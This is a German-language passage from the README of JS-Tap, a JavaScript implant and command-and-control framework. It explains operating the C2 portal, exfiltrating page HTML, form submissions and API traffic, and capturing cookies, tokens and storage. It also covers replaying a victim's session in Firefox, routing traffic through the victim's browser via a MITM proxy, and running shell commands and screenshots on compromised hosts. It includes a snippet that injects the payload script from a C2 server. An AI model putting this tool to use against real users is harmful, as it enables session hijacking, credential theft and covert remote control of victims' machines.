true/false-Einstellung, ob eine Kopie des HTML-Codes jeder angezeigten Seite exfiltriert wird. Diese exfiltrierten HTML-Dateien werden benötigt, um CSRF-Token-Quellen zu finden, wenn beim automatischen Generieren von benutzerdefinierten Formularübermittlungs-Payloads.```
window.taperexfilHTML = true;
```
#### Formularübermittlungen kopieren
true/false Einstellung, ob eine Kopie aller Formularbeiträge abgefangen werden soll.```
window.taperexfilFormSubmissions = true;
```
#### MonkeyPatch-APIs

Aktiviert das Monkeypatching der XHR- und Fetch-APIs. Dies funktioniert im Trap-Modus. Im Implant-Modus werden nur Fetch-APIs gepatched. Monkeypatching ermöglicht es, JavaScript zur Laufzeit umzuschreiben. Die Aktivierung dieser Funktion schreibt die von JavaScript-Code verwendeten XHR- und Fetch-Netzwerk-APIs um, um den Inhalt dieser Netzwerkaufrufe abzugreifen. Beachten Sie, dass auf jQuery und Ajax basierende Netzwerkaufrufe in der XHR-API erfasst werden, die sie unter der Haube für Netzwerkaufrufe verwenden. Die automatische Generierung benutzerdefinierter Payloads für API-Aufrufe hängt natürlich davon ab, dass API-Aufrufe mit dieser Monkeypatch-Funktion abgefangen werden.```
window.monkeyPatchAPIs = true;
```
## JS-Tap Portal

Melden Sie sich mit den Admin-Anmeldedaten an, die vom Server-Skript beim Start bereitgestellt werden (ebenfalls in `adminCreds.txt` gespeichert).

### Client-Verwaltung
Clients werden links, nach Typ gruppiert, angezeigt. Verwenden Sie die Umschaltknöpfe oben in der Client-Liste, um zwischen den Ansichten zu wechseln.

* **Apps** — DOM Beacon Clients (aus telemlib.js Payloads)
* **Browsers** — BEX Beacon Clients
* **Electrons** — Atom Beacon Clients (aus gepatchten Electron-Apps)
* **Nodes** — V8 Beacon Clients (aus Node.js/Bun CLI-Apps)

Durch Auswahl eines Clients wird rechts eine Zeitreihe seiner Ereignisse (Loot) angezeigt. Wenn Sie die Liste filtern (z. B. von Apps zu Browsers wechseln), wird die aktuell ausgewählte Loot-Ansicht abgedunkelt und in Graustufen dargestellt, um anzuzeigen, dass es sich um „Hintergrund“-Daten handelt.

In der Ansicht **Browsers** zeigt der Detailspaltenkopf einen Umschalter **Loot / Tools**:
* **Loot**-Reiter — Domain-Karten mit besuchten Domains und Injektionssteuerungen.
* **Tools**-Reiter — Browser Proxy-Panel (immer sichtbar) und Sidecar-Panel (einklappbar, falls der Beacon dies unterstützt).

Atom Beacon Clients (in der Ansicht **Electrons**) und V8 Beacon Clients (in der Ansicht **Nodes**) haben ebenfalls einen **Loot / Tools**-Umschalter. Ihr Tools-Panel bietet integrierte Dateibrowser- und Shell-Zugriff ohne ein separates Sidecar-Binary. Atom Beacons haben zusätzlich Screenshot-Steuerungen.

**BEX Beacons (Browsers)** können erweitert werden, um alle von ihnen besuchten Domains anzuzeigen. Sie können die DOM Beacon-Injektion aus der Domain-Liste auslösen. BEX Beacon-Karten in der Seitenleiste zeigen eine Zusammenfassung aller erfolgreich erstellten DOM Beacons.

Die Client-Liste kann nach Zeit sortiert werden (erstes Auftreten, letztes Update) und die Liste kann gefiltert werden, um nur die „markierten“ Clients anzuzeigen. Es gibt auch eine Schnellfilter-Suche oberhalb der Client-Liste, mit der Sie Clients schnell nach einer eingegebenen Zeichenfolge filtern können. Nützlich, wenn Sie ein optionales Tag in der Payload-Konfiguration gesetzt haben. Optionale Tags werden dem Client-Spitznamen vorangestellt. Der Filter durchsucht das optionale Tag, den Spitznamen, die IP-Adresse, den Fingerprint, den Browser, die Plattform, den Client-Typ, die Domain und die UUID. Beachten Sie, dass Sie die Filtersuche umkehren können, indem Sie Ihrem Suchbegriff ein '!' voranstellen. Um z. B. alle Clients anzuzeigen, die Firefox nicht verwenden, verwenden Sie den Filterbegriff "!firefox". Sie können mehrere Begriffe mit `&&` für UND-Logik kombinieren (z. B. `linux && chrome && !bex`).

Jeder Client hat einen 'x'-Button (neben dem Stern-Button). Damit können Sie die Sitzung für diesen Client löschen. Wenn er Müll oder nutzlose Daten sendet, können Sie verhindern, dass dieser Client zukünftige Daten sendet.

Wenn der JS-Tap-Payload startet, ruft er eine Sitzung vom JS-Tap-Server ab. Wenn Sie verhindern möchten, dass neue Client-Sitzungen ausgestellt werden, wählen Sie oben **App Settings** aus und deaktivieren Sie neue Client-Sitzungen. Sie können auch die Anzeige von Client-„Fingerabdrücken“ aktivieren, bei denen es sich um sehr kurze Hash-Werte handelt, die für den Browser eines Benutzers auf einem bestimmten System eindeutig sein sollten. Dies kann helfen zu identifizieren, welche JS-Tap-Clients möglicherweise dieselbe Person sind. Beachten Sie, dass der JS-Tap-Client so konfiguriert sein muss, dass er die Fingerprint-Berechnungen durchführt. Die Client-Filter-Suchleiste durchsucht auch das Fingerprint-Feld, sodass es einfach ist, Clients mit identischen Fingerabdrücken anzuzeigen.

Sie können in **App Settings** auch E-Mail-Benachrichtigungen konfigurieren, um über neue Clients oder neue Ereignisse für Clients benachrichtigt zu werden. Dies erfolgt nur über SMTP (TLS), und Sie können die Benachrichtigungs-E-Mails an mehrere Empfänger senden. Eine „E-Mail-Verzögerung“-Option verhindert ständiges E-Mail-Spamming; Sie erhalten eine zusammenfassende E-Mail aller Benachrichtigungen, die im Verzögerungszeitraum aufgetreten sind.

Sie können in den **App Settings** ändern, wie oft die Client-Liste automatisch aktualisiert wird, und Sie können dort auch bestimmte IP-Adressen blockieren, die keine JS-Tap-Sitzung erhalten sollen.

Wenn Sie den JS-Tap-Netzwerkverkehr besser vor Überwachung verbergen möchten, aktivieren Sie in **App Settings** die Verkehrsverschleierung. Dies funktioniert bei Anwendungen, die HTTPS verwenden, bei denen die Webcrypto-API verfügbar ist. Der JS-Tap-Client verschlüsselt den gesamten Verkehr auf Anwendungsebene und sendet ihn an einen einzigen API-Endpunkt auf dem C2-Server, der ihn entschlüsselt und serverseitig weiterleitet. Antworten vom JS-Tap-C2 (wie benutzerdefinierte Payloads) kommen ebenfalls von diesem einzigen API-Endpunkt und sind ebenfalls verschlüsselt. Beachten Sie, dass JS-Tap auf traditionellen, nicht verschleierten Verkehr zurückfällt, wenn der getappte Browser die Web Crypto API nicht unterstützt.

Jeder Client hat eine „Notizen“-Funktion. Wenn Sie interessante Informationen für einen bestimmten Client finden (Anmeldeinformationen, API-Tokens usw.), können Sie diese zu den Client-Notizen hinzufügen. Nachdem Sie alle Ihre Clients überprüft und Ihre Notizen gemacht haben, können Sie mit der Funktion **View All Notes** oben alle Notizen aller Clients auf einmal exportieren.

Die Ereignisliste kann nach Ereignistyp gefiltert werden, wenn Sie sich auf etwas Bestimmtes konzentrieren möchten, z. B. Screenshots. Bei DOM Beacon-Clients wird die Ereignis-/Loot-Liste _nicht_ automatisch aktualisiert (die Client-Liste schon) – wenn Sie die neuesten Ereignisse laden möchten, müssen Sie den Client links erneut auswählen. Atom Beacon- und BEX Beacon-Clients verwenden eine automatisch aktualisierende Ereignisansicht, die neue Ereignisse inkrementell anhängt, ohne Ihre Scrollposition zurückzusetzen.

### BEX-Injektion
Wenn Sie die Domain-Intelligenz eines Beacons anzeigen, können Sie auf **Inject DOM Beacon** klicken, um eine Injektion in die Warteschlange zu stellen.
* Ein „SUCCESS“-Badge wird angezeigt, sobald das Injektionsskript angefordert wurde.
* Der Spitzname des erstellten DOM Beacons wird automatisch verlinkt und auf der Domain-Karte und der Seitenleistenkarte des Beacons angezeigt.
* Injektionen erfolgen sofort, wenn sich der Benutzer derzeit auf der Zieldomain befindet, oder beim nächsten Besuch.

### JS-Tap Tickets & JS-Tap Conductor (Sitzungsklonen)

Der BEX Beacon erfasst Cookies (einschließlich httpOnly), localStorage, sessionStorage und Autorisierungs-Header für jede Domain, die das Ziel besucht. **JS-Tap Tickets** ermöglichen Ihnen, all diese Sitzungsdaten als portablen Blob zu exportieren, und **JS-Tap Conductor** spielt sie in Ihrem eigenen Browser ab, sodass Sie als das Opfer surfen können.

#### Erstellen eines JS-Tap Tickets

1. Wählen Sie im JS-Tap-Portal einen BEX Beacon-Client aus und erweitern Sie seine Domain-Liste.
2. Klicken Sie auf die Schaltfläche **Session Ticket** auf der Domain-Karte, die Sie klonen möchten.
3. Das Ticket wird als base64-kodierte Zeichenfolge in Ihre Zwischenablage kopiert.

Ein Ticket enthält:
- Alle Cookies für die Domain (mit Metadaten zu httpOnly, secure, sameSite, path, domain und expiration)
- Erfasste Anfrageheader (Authorization, x-api-key usw.)
- localStorage- und sessionStorage-Schlüssel/Wert-Paare
- Den rohen User-Agent-String, die Plattform und den Browser des Opfers
- Besuchte URLs für die Domain (neueste zuerst)

**Wichtig:** Stellen Sie sicher, dass Sie das Ticket vom richtigen Domain-Eintrag generieren. Beispielsweise sind `reddit.com` und `www.reddit.com` separate Domain-Einträge in den Beacon-Daten – wählen Sie denjenigen, der die Authentifizierungs-Cookies enthält.

#### Installieren von JS-Tap Conductor

JS-Tap Conductor ist eine eigenständige Firefox MV2-Erweiterung. Es **muss Firefox sein** – es nutzt die Firefox MV2 `webRequestBlocking`-API, um Header in ausgehende Anfragen einzufügen, was Chrome MV3 nicht unterstützt.

So laden Sie es als temporäre Erweiterung:

1. Öffnen Sie Firefox und navigieren Sie zu `about:debugging#/runtime/this-firefox`
2. Klicken Sie auf **"Load Temporary Add-on..."**
3. Navigieren Sie zum Verzeichnis `jstap-conductor/` und wählen Sie `manifest.json` aus

Das JS-Tap Conductor-Symbol (das JS-Tap-Logo) wird in der Firefox-Symbolleiste angezeigt. Temporäre Erweiterungen bleiben bestehen, bis Firefox geschlossen wird – Sie müssen sie nach einem Neustart neu laden.

#### Verwenden von JS-Tap Conductor

1. Klicken Sie auf das JS-Tap Conductor-Symbol in der Symbolleiste, um das Popup zu öffnen.
2. Fügen Sie das JS-Tap-Ticket in das Textfeld ein und klicken Sie auf **Import**.
3. JS-Tap Conductor wird:
   - **Alle Cookies** für die Domain setzen, einschließlich httpOnly-Cookies (Erweiterungen haben dieses Privileg).
   - **Header-Injektion registrieren** — Authorization-Header und andere erfasste Header werden über `webRequest.onBeforeSendHeaders` in jede passende Anfrage eingefügt.
   - **User-Agent spoofen** — Der User-Agent-String des Opfers ersetzt Ihren in allen ausgehenden Anfrage-Headern für diese Domain.
   - **Storage befüllen** — localStorage- und sessionStorage-Einträge werden geschrieben, wenn Sie zur Domain navigieren.
   - **Navigator-APIs spoofen** — Obwohl Sie Firefox verwenden, werden `navigator.userAgent`, `navigator.platform` und `navigator.appVersion` im JavaScript-Kontext der Seite durch Affen-Patches so geändert, dass sie die Werte des Opfers zurückgeben. Dies umgeht clientseitige UA-Überprüfungen.
4. Klicken Sie auf **Open** beim importierten Ticket, um zur ersten erfassten URL zu navigieren, oder surfen Sie manuell zur Domain.
5. Sie sollten nun als Sitzung des Opfers surfen.

Das Popup zeigt einen **Ticketverlauf** (letzte 10 Tickets) mit Badge-Zählern für Cookies, Header, localStorage- und sessionStorage-Elemente. Sowohl Sitzungstickets als auch Proxy-Tickets erscheinen im Verlauf. Jedes Ticket kann aktiviert/deaktiviert oder gelöscht werden. Proxy-Tickets werden optisch mit einem „proxy“-Badge unterschieden, das den Zielport und die Domains anzeigt.

Verwenden Sie **Deactivate**, um die Sitzungsinjektion eines Tickets zu deaktivieren, ohne es zu verlieren, oder **Delete**, um es dauerhaft zu entfernen.

#### Überprüfen der Funktion

- **Cookies:** Öffnen Sie Firefox DevTools → Storage → Cookies. Sie sollten alle importierten Cookies sehen, einschließlich httpOnly.
- **Header:** Öffnen Sie DevTools → Network-Tab. Überprüfen Sie, ob Authorization- und User-Agent-Header in ausgehenden Anfragen mit den Werten des Opfers übereinstimmen.
- **Storage:** Öffnen Sie DevTools → Storage → Local Storage / Session Storage. Überprüfen Sie, ob die importierten Schlüssel vorhanden sind.
- **Navigator-Spoofing:** Öffnen Sie die Browser-Konsole und geben Sie `navigator.userAgent` ein – es sollte den UA-String des Opfers zurückgeben, nicht den von Firefox.

### Browser Proxy

Der Browser Proxy ermöglicht es Ihnen, Ihren Browserverkehr in Echtzeit durch den Browser (oder Node.js/Electron-Prozess) des Opfers zu leiten. Anfragen werden aus dem Netzwerkkontext des Opfers ausgeführt, sodass die Zielsite die IP und den TLS-Fingerabdruck des Opfers sieht.

Der Proxy wird von **BEX Beacons**, **Atom Beacons** und **V8 Beacons** unterstützt.

#### Funktionsweise

1. Wählen Sie im Portal einen Beacon aus und wechseln Sie zum **Tools**-Reiter.
2. Klicken Sie auf **Start Proxy** im Browser Proxy-Panel. Der Server weist einen lokalen Port zu (im Panel angezeigt).
3. Konfigurieren Sie Ihren Browser so, dass er `127.0.0.1:<port>` als HTTP/HTTPS-Proxy verwendet.
4. Laden Sie das **CA Cert** herunter und installieren Sie es im Zertifikatsspeicher Ihres Browsers (für HTTPS MITM erforderlich).
5. Surfen Sie normal – alle Anfragen werden über die WebSocket-Verbindung des Beacons weitergeleitet und aus dem Netzwerk des Opfers ausgeführt.

Der Proxy führt TLS-Terminierung mit dynamisch generierten, pro-Domain-Zertifikaten durch, die von der JS-Tap-CA signiert sind. Dies ermöglicht es, HTTPS-Verkehr transparent zu inspizieren und weiterzuleiten.

#### Kombinierbare Workflows

Der Proxy ist eine „dumme Leitung“ – er leitet genau das weiter, was der Browser des Operators sendet, ohne Anmeldeinformationen einzufügen oder zu modifizieren. Dies macht ihn mit Sitzungstickets für vier verschiedene Workflows kombinierbar:

| Workflow | Einrichtung | Ergebnis |
|---|---|---|
| **Nur Proxy** | Proxy starten, kein Sitzungsticket | Nicht authentifiziertes Surfen durch das Netzwerk/die IP des Opfers |
| **Nur Sitzungsticket** | Sitzungsticket im Conductor importieren, kein Proxy | Authentifiziertes Surfen direkt von der IP des Operators |
| **Proxy + Sitzungsticket** | Sowohl Proxy als auch Sitzungsticket aktiv | Authentifiziertes Surfen durch das Netzwerk des Opfers – der Conductor injiziert Cookies/Header/UA in den Browser des Operators, der MITM-Proxy leitet sie an den Beacon weiter |
| **Proxy + eigener Login** | Proxy starten, manuell durch den Proxy einloggen | Eigene Sitzung des Operators durch das Netzwerk des Opfers |

Für den Workflow **Proxy + Sitzungsticket** übernimmt der JS-Tap Conductor die gesamte Sitzungsinjektion (Cookies, Header, User-Agent, Storage, Navigator-Spoofing). Der MITM-Proxy leitet die vollständige Anfrage des Operators – einschließlich injizierter Header – an den Beacon weiter, der den Fetch aus dem Netzwerk des Opfers ausführt.

#### Proxy-Tickets

Während der Proxy aktiv ist, können Sie auf **Proxy Ticket** klicken, um ein mit JS-Tap Conductor kompatibles Ticket zu erstellen, das die Proxy-Einstellungen des Conductors automatisch konfiguriert. Importieren Sie das Proxy-Ticket im Conductor, um Firefox-Datenverkehr durch den Beacon zu leiten, ohne die Proxy-Einstellungen manuell konfigurieren zu müssen.

### Verwenden des Sidecar / Tools-Panels

Wenn ein BEX Beacon-Client mit dem Sidecar verbunden ist, zeigt der **Tools**-Reiter ein **Sidecar**-Panel (standardmäßig eingeklappt, unterhalb des Browser Proxy-Panels). Atom Beacon- und V8 Beacon-Clients zeigen dasselbe Panel als **Tools** mit einem **Built-in**-Badge (da der Betriebssystemzugriff beim Agenten nativ ist). Das Panel hat Reiter:

#### Dateibrowser-Reiter
- Der Dateibrowser listet beim ersten Laden des Panels automatisch das Home-Verzeichnis des Benutzers auf
- Navigieren Sie durch Klicken auf Ordnernamen oder den `..`-Eintrag, um ein Verzeichnis höher zu gehen
- Die Pfadeingabe spiegelt immer Ihren aktuellen Speicherort wider und kann manuell bearbeitet werden
- Klicken Sie auf **Read** bei einer Datei, um deren Inhalt anzuzeigen (base64-dekodiert und als Text dargestellt)
- Klicken Sie auf **Back to directory listing**, um zur Verzeichnisansicht zurückzukehren
- **Upload:** Wählen Sie eine Datei aus und klicken Sie auf **Upload**, um sie in das aktuell durchsuchte Verzeichnis zu schreiben. Die Auflistung aktualisiert sich nach einem erfolgreichen Upload automatisch. Maximale Dateigröße beträgt 700 KB.

#### Shell-Reiter
- Ein interaktives Terminal mit Verfolgung des Arbeitsverzeichnisses (CWD) über Befehle hinweg
- Die Eingabeaufforderung zeigt Ihr aktuelles Verzeichnis auf dem Zielsystem an (z. B. `/home/user $ `)
- Geben Sie einen Befehl ein und drücken Sie **Enter** oder klicken Sie auf **Run**, um ihn auszuführen
- Das CWD bleibt zwischen Befehlen erhalten (`cd /tmp` gefolgt von `ls` listet `/tmp` auf)
- **Befehlsverlauf:** Verwenden Sie die **Pfeiltasten Hoch/Runter**, um durch vorherige Befehle zu blättern
- **Pop Out:** Klicken Sie auf die Schaltfläche **Pop Out**, um die Shell in einem eigenständigen Fenster mit eigener Titelleiste, vollständigem Befehlsverlauf und unabhängigem Betrieb zu öffnen
- Die Ausgabe ist farbcodiert: Grün für Eingabeaufforderungen, Weiß für stdout, Rot für stderr
- Die CWD-Verfolgung verwendet POSIX-Shell-Syntax und funktioniert auf Linux/macOS-Zielen

#### Screenshots-Reiter (nur Atom Beacon)
- **Capture Now** — Manuell einen Screenshot aller verfolgten Fenster auslösen
- **Auto-capture toggles** — Automatische Screenshots bei Fensterfokus, Navigation und neuen Fensterereignissen aktivieren/deaktivieren
- **Cooldown** — Mindestsekunden zwischen automatischen Aufnahmen pro Fenster (Standard: 30, Minimum: 5)
- Klicken Sie auf **Save Settings**, um Änderungen an Umschaltern/Cooldown in Echtzeit an den Agenten zu senden

**Hinweis:** Befehle sind asynchron. Wenn Sie einen Befehl senden, fragt die UI nach Ergebnissen. Der Beacon/Agent muss sich einchecken (Heartbeat), um den Befehl abzuholen und das Ergebnis zurückzusenden. Bei Standard-Heartbeat-Einstellungen ist mit einigen Sekunden Verzögerung zu rechnen.

### Benutzerdefinierte Payloads
Mehrere JavaScript-Payloads können im JS-Tap-Portal hinzugefügt und auf einem einzelnen Client, allen aktuellen Clients oder zur automatischen Ausführung auf allen zukünftigen Clients ausgeführt werden. Payloads können innerhalb des JS-Tap-Portals geschrieben/bearbeitet oder aus einer Datei importiert werden. Payloads können auch exportiert werden. Das Format zum Importieren von Payloads ist einfaches JSON. Der JavaScript-Code und die Beschreibung sind einfach base64-kodiert.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
```
Falls Ihr benutzerdefinierter Payload Daten exfiltrieren muss, können Sie die Methode <i>customExfil(note, data)</i> verwenden. Der Aufruf dieser Methode in Ihrem benutzerdefinierten Payload sendet diese Textdaten zurück an JS-Tap, wo sie als Ereignis in den Beutedaten (loot data) angezeigt werden.<br>

Die Hauptbenutzeroberfläche für benutzerdefinierte Payloads befindet sich in der oberen Menüleiste. Wählen Sie **Custom Payloads** aus, um die Oberfläche zu öffnen. Vorhandene Payloads werden in einer Liste auf der linken Seite angezeigt. Die Schaltflächenleiste ermöglicht das Importieren und Exportieren der Liste. Payloads können auf der rechten Seite bearbeitet werden. Sie können jedoch auch die Schaltfläche **Code erweitern** drücken, um einen größeren Code-Editor-Bereich zu erhalten. Um einen vorhandenen Payload zu bearbeiten, wählen Sie ihn durch Klicken in der Liste **Gespeicherte Payloads** aus. Sobald Sie Payloads definiert und gespeichert haben, können Sie sie auf Clients ausführen.<br>

In der Hauptansicht **Custom Payloads** können Sie einen Payload gegen alle aktuellen Clients starten (die Schaltfläche **Run**). Sie können auch das Attribut **Autorun** eines Payloads aktivieren, was bedeutet, dass alle neuen Clients den Payload ausführen. Beachten Sie, dass bestehende Clients einen Payload nicht basierend auf der Autorun-Einstellung ausführen.<br>

Sie können **Repeat** aktivieren, und der Payload wird für jeden Client geplant, wenn diese nach Aufgaben suchen. Denken Sie daran, dass die Rate, mit der ein Client nach benutzerdefinierten Payload-Aufgaben sucht, variabel ist und diese Rate in der Hauptkonfiguration des JS-Tap-Payloads geändert werden kann. Diese Rate kann mit einem benutzerdefinierten Payload geändert werden (durch Aufruf der Funktion <i>updateTaskCheckInterval(newDelay)</i>). Der Jitter in der Aufgabenprüfverzögerung kann mit der Funktion <i>updateTaskCheckJitter(newTop, newBottom)</i> eingestellt werden.<br>

Die Schaltfläche **Clear All Jobs** in der Benutzeroberfläche für benutzerdefinierte Payloads löscht alle benutzerdefinierten Payload-Jobs aus der Warteschlange für alle Clients und setzt die Auto-/Repeat-Ausführungsschalter zurück.<br>

Um einen Payload auf einem einzelnen Client auszuführen, verwenden Sie die Schaltfläche **Run Payload** auf dem gewünschten Client und klicken Sie dann auf die Schaltfläche **Run** für den gewünschten Payload. Sie können **Repeat** auch für einzelne Clients aktivieren.

#### Zielregeln

Zielregeln ermöglichen es Ihnen, Payloads automatisch auf Clients auszuführen, die bestimmte Kriterien erfüllen, anstatt Clients manuell auszuwählen oder blind auf allen Clients auszuführen.

Klicken Sie auf die Schaltfläche **Regel hinzufügen** eines Payloads, um eine Zielregel zu erstellen. Regeln verwenden die gleiche Filtersyntax wie die Client-Suchleiste:
- **Durchsuchbare Felder:** tag, nickname, platform, browser, type, domain, ip, uuid
- **UND-Logik:** Verwenden Sie `&&`, um Begriffe zu kombinieren (z.B. `linux && chrome`)
- **NICHT-Logik:** Setzen Sie einem Begriff ein `!` voran, um ihn zu negieren (z.B. `!bex-beacon`)

Beispiel: `linux && chrome && !bex` entspricht allen Linux-Chrome-Clients, die keine BEX-Beacons sind.

Bevor Sie eine Regel speichern, können Sie auf **Vorschau** klicken, um zu sehen, welche derzeit verbundenen Clients übereinstimmen. Die Vorschau zeigt Mini-Client-Karten mit denselben Informationen wie die Hauptclientliste (Tag/Nickname, Zeitstempel, IP, Plattform, Browser, Domain).

Jede Zielregel verfügt über eigene Steuerungen für **Autorun**, **Repeat** und **Run**, die genauso funktionieren wie die schaltflächen auf Payload-Ebene, jedoch nur Clients betreffen, die der Filterabfrage der Regel entsprechen. Sie können auch einzelne Regeln **bearbeiten** oder **löschen**. Ein Payload kann mehrere Zielregeln haben.

### Automatisch generierte benutzerdefinierte Payloads (Mimic)
JS-Tap bietet die Möglichkeit, automatisch benutzerdefinierte Payloads zu generieren. Diese Funktion nutzt die Fähigkeit, Formularübermittlungen und XHR/Fetch-API-Aufrufe abzufangen. JS-Tap kann diese abgefangenen Kommunikationen als Prototyp verwenden, um einen Payload zu erstellen.<br>

Parameter in der Anfrage werden durch Variablen am Anfang des automatisch generierten Payloads gesetzt, was eine einfache Änderung der ausgeführten Aktion ermöglicht. Formularübermittlungen, die ein CSRF-Token benötigen, und XHR/Fetch-API-Aufrufe, die einen Authorization-Header erfordern, werden vom Mimic-Assistenten behandelt. Sie können diese Werte in der abgefangenen Formularübermittlung/API-Abfrage auswählen, und JS-Tap durchsucht seine Datenbank, um herauszufinden, woher diese Werte stammen.<br>

Es wird ein Payload generiert, der zunächst den aktuellen Wert für diese Elemente im Browser des Benutzers abruft, da diese Werte im Laufe der Zeit und bei verschiedenen Benutzern wahrscheinlich unterschiedlich sein werden. Die abgerufenen Werte werden in der nachfolgenden Anfrage verwendet, die Ihre modifizierten Parameter an den Server übergibt, um die „nachgeahmte“ Aktion auszuführen.<br>

Wenn Sie die Suche nach diesen Werten überspringen, die Anfrage sie nicht enthält oder JS-Tap die Quelle nicht finden kann, wird ein Payload generiert, der die CSRF-Token und Authorization-Header-Werte aus der ursprünglich abgefangenen Anfrage verwendet.<br>

Um die Mimic-Funktion zur Erstellung automatisch generierter Payloads zu nutzen, suchen Sie eine abgefangene Formularübermittlung oder einen API-Aufruf und drücken Sie die Schaltfläche **Create Mimic Payload** auf der Ereigniskarte in der Beutespalte. Dadurch wird der Assistent geöffnet, in dem Sie entweder ein CSRF-Token (für Formularübermittlungen) oder Authorization-Header für API-Aufrufe auswählen. Sie müssen den Parameter-/Header-Namen in das Namensfeld und den Token-Wert in das Wertfeld kopieren. Sobald das erledigt ist, klicken Sie auf die Schaltfläche **Search**, damit JS-Tap ermittelt, wo diese Werte gespeichert oder abgerufen werden.<br>

Wenn JS-Tap die Quelle dieser Werte findet, wird durch Klicken auf „Weiter“ der Payload generiert und als neuer Payload in das C2-System eingegeben. Ändern Sie den Payload-Namen, die Beschreibung und die Parameterwerte am Anfang des generierten Codes nach Ihren Wünschen und speichern Sie ihn. Sie können diesen Payload dann auf JS-Tap-Clients ausführen.

## Projektstruktur```
JS-Tap/
├── buildAll.py             # Unified build script (extensions + sidecar + deploy bundles)
├── jsTapServer.py          # Flask C2 server (all routes, models, logic)
├── jstapRun.sh             # Gunicorn production launcher
├── requirements.txt        # Python dependencies
├── index.html              # Dashboard HTML
├── login.html              # Login page
├── payloads/
│   └── telemlib.js         # DOM Beacon payload
├── protectedStatic/
│   └── main.js             # All dashboard UI logic
├── proxy/                  # Browser Proxy (MITM proxy server)
│   ├── server.py           # Threaded proxy server, WebSocket relay, MITM TLS
│   └── certs.py            # Dynamic per-domain certificate generation
├── jstap-conductor/        # Session replay Firefox extension (standalone MV2)
│   ├── manifest.json       # Firefox MV2 manifest
│   ├── icon.svg            # Extension icon (JS-Tap logo)
│   ├── background/         # Cookie setting, header injection, UA spoofing
│   ├── content/            # Storage injection, navigator property spoofing
│   └── popup/              # Ticket import UI
├── bex-beacon/             # Browser extension (WXT + legacy)
│   ├── config.json         # Central configuration (extensions, IDs, sidecar)
│   ├── wxt.config.ts       # WXT build config
│   ├── package.json        # Node dependencies
│   ├── buildBexBeacon.py   # Legacy extension builder
│   ├── entrypoints/
│   │   ├── background/     # Service worker (heartbeat, tasks, encryption)
│   │   └── content/        # Content script (DOM instrumentation)
│   ├── utils/
│   │   ├── config.ts       # Config translation + whitelist helpers
│   │   ├── crypto.ts       # AES-GCM encryption/decryption helpers
│   │   ├── proxy.ts        # Browser Proxy WebSocket client + fetch relay
│   │   └── sidecar.ts      # Native messaging module
│   ├── src-chrome-extension/   # Legacy Chrome MV3 template
│   └── src-firefox-extension/  # Legacy Firefox MV2 template
├── atom-beacon/            # Electron app implant patcher
│   ├── atomize.py          # Patcher CLI (analyze + patch Electron apps)
│   ├── atomize.spec        # PyInstaller spec for building atomize.exe (Windows)
│   ├── asar.py             # Pure-Python ASAR archive handling (extract/pack/patch)
│   └── payload/
│       ├── atom-agent.js   # Main process agent (C2, encryption, OS access, screenshots)
│       └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception)
├── v8-beacon/              # Node.js / Bun CLI implant
│   ├── v8ize.py            # Build script (template variable replacement)
│   └── payload/
│       └── v8-agent.js     # V8 Beacon agent (network hooks, stdin capture, C2)
├── plugins/                # Beacon plugins (loaded at runtime via C2)
│   ├── example/            # Example plugin template
│   │   ├── manifest.json   # Plugin metadata (id, name, targetApps, capabilities)
│   │   ├── main.js         # Plugin entry point (documents full plugin API)
│   │   └── ui.html         # Optional operator-facing UI panel
│   └── mattermost/         # Mattermost-specific plugin
├── sidecar/                # Native messaging Go binary
│   ├── main.go             # Message loop (native messaging protocol)
│   ├── commands.go         # Command handlers (list_dir, read_file, exec_cmd)
│   ├── go.mod              # Go module
│   ├── config.json         # Auto-synced from central config by buildAll.py
│   ├── buildSidecar.py     # Cross-compile + generate install scripts
│   └── uninstall.sh        # Remove sidecar binary + manifests for testing
├── build/                  # Build output (gitignored)
│   ├── chrome-mv3/         # Unpacked Chrome extension
│   ├── firefox-mv2/        # Unpacked Firefox extension
│   ├── extension.crx       # Packed Chrome extension
│   ├── extension.xpi       # Packed Firefox extension
│   ├── sidecar/            # Sidecar binaries + manifests
│   └── deploy/             # Self-contained deploy bundles (.tar.gz/.zip)
└── tools/                  # Testing utilities
    ├── clientSimulator.py          # Async client simulator (argparse-based)
    ├── monkeyPatchApp/             # XHR/Fetch monkeypatch test app
    │   └── monkeyPatchLab.py
    ├── defconApp/                  # XHR test app (defcon level changer)
    │   └── defconServer.py
    ├── spaTestApp/                 # SPA test app for Fetch API testing
    │   └── spaServer.py
    ├── formParser.py               # (Legacy) HTML form parser
    └── generateIntelReport.py      # (Legacy) PDF report generator
```
## Werkzeuge
Einige Werkzeuge sind im Unterverzeichnis tools enthalten.

### clientSimulator.py
Ein asynchroner Client-Simulator, der 12 verschiedene gefälschte Clients (verschiedene Betriebssystem-/Browser-Kombinationen) erstellt, sie beim Server registriert, realistische Beutedaten sendet und nach benutzerdefinierten Payload-Aufgaben abfragt. Nützlich zum Testen von Zielregeln, Match-Filtern, Autorun/Repeat-Verhalten und der Zustellung benutzerdefinierter Payloads.```bash
python3 tools/clientSimulator.py
```
Optionen:```
--server URL         JS-Tap server URL (default: https://127.0.0.1:8444)
--loot-rounds N      Rounds of fake loot per client (default: 2, 0 = continuous)
--poll-interval N    Seconds between payload polls (default: 3)
--no-loot            Register and poll only, skip sending fake loot
```
JS-Tap läuft mit gunicorn und skaliert recht gut.

### MonkeyPatchApp
Eine einfache App zum Testen von XHR/Fetch-Monkeypatching, die Ihnen aber auch eine einfache App zum allgemeinen Testen des Payloads bieten kann.

Ausführen mit:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py
```
Standardmäßig startet dies die Anwendung auf:```
https://127.0.0.1:8443
```
Drücken Sie die Schaltfläche "Inject JS-Tap payload", um das DOM Beacon-Payload auszuführen. Dies funktioniert sowohl im Implant- als auch im Trap-Modus. Möglicherweise müssen Sie die monkeyPatchLab-Anwendung auf einen neuen JS-Tap-Server-Speicherort zum Laden der Payload-Datei verweisen. Diese Einstellung finden Sie in der **injectPayload()**-Funktion in **main.js**.```
function injectPayload()
{
	document.head.appendChild(Object.assign(document.createElement('script'),
		{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
```
### DefconApp
